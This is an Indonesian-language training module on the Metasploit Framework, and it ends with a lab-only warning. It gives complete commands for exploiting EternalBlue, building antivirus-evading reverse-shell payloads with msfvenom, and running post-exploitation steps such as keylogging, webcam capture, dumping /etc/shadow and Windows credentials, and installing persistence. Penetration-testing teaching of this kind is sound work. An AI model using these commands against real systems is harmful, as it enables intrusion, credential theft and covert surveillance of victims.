Module 2: Exploitation

Metasploit Framework — Dari Dasar

40 menit
Intermediate

Arsitektur Metasploit

Metasploit Framework terdiri dari beberapa komponen utama:

  • Auxiliary — Scanner, fuzzer, tools tanpa payload (tidak mengeksploitasi)
  • Exploit — Modul yang memanfaatkan kerentanan spesifik
  • Payload — Kode yang dieksekusi setelah eksploitasi berhasil
  • Encoder — Meng-encode payload untuk menghindari deteksi
  • Post — Modul yang berjalan setelah kompromis berhasil
  • NOPS — Sled instructions untuk buffer overflow

Memulai msfconsole

# Start Metasploit dengan database
sudo msfdb init
msfconsole

# Atau langsung
msfconsole -q  # quiet mode, tidak tampilkan banner

# Update Metasploit
sudo apt update && sudo apt install metasploit-framework
# Help dan daftar commands
help
?

# Cari modul
search type:exploit platform:windows ms17-010
search eternalblue
search name:ftp type:auxiliary
search cve:2021-44228

# Info tentang modul
info exploit/windows/smb/ms17_010_eternalblue

# Gunakan modul
use exploit/windows/smb/ms17_010_eternalblue
use 0  # gunakan nomor dari hasil search

# Lihat opsi
show options
show advanced
show payloads   # payloads yang kompatibel

# Set opsi
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.50
set LPORT 4444

# Set global (berlaku untuk semua modul)
setg LHOST 192.168.1.50
setg RHOSTS 192.168.1.100

# Kembali ke prompt utama
back

# History commands
history

Auxiliary Modules — Scanning & Enumeration

# Port scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445,3389
set THREADS 50
run

# SMB enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.1.100
run

# FTP anonymous login
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.0/24
run

# SSH version
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# HTTP version
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

# Vulnerability scan (MS17-010 check)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

Exploit dengan Payload

Contoh: MS17-010 EternalBlue (Windows)

use exploit/windows/smb/ms17_010_eternalblue
show options

set RHOSTS 192.168.1.100
set LHOST 192.168.1.50

# Pilih payload
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4444

# Verifikasi semua opsi
show options

# Jalankan
run
# atau
exploit

Generate Payload dengan msfvenom

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o payload.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f psh-reflection -o shell.ps1

# Dengan encoder untuk basic AV evasion
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o encoded_payload.exe

Setup Listener dengan multi/handler

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Jalankan di background
set ExitOnSession false
run -j

Meterpreter — Post-Exploitation

# Setelah berhasil mendapatkan Meterpreter session:

# System info
sysinfo
getuid
getpid

# Navigasi filesystem
pwd
ls
cd /tmp
cat /etc/passwd

# Upload dan download file
upload /path/local/file.txt /tmp/file.txt
download /etc/shadow /tmp/shadow

# Shell system
shell
# (exit untuk kembali ke Meterpreter)

# Screenshot
screenshot

# Webcam (jika ada)
webcam_snap

# Keylogger
keyscan_start
keyscan_dump
keyscan_stop

# Network info
ipconfig
arp
route
portfwd add -l 8080 -r 192.168.2.100 -p 80

# Process list
ps
migrate 1234  # migrate ke proses lain

# Privilege escalation
getsystem
getuid  # cek hasil

# Dump credentials (Windows)
hashdump
load kiwi
creds_all
lsa_dump_sam

# Persistence
run persistence -X -i 30 -p 4444 -r 192.168.1.50

# Background session
background
sessions -l          # list semua sessions
sessions -i 1        # interact dengan session 1
sessions -k 1        # kill session 1
Lab Only!
EternalBlue (MS17-010) dan teknik eksploitasi lainnya hanya boleh digunakan pada lab environment atau dengan izin eksplisit. Penggunaan pada sistem tanpa izin adalah tindak pidana.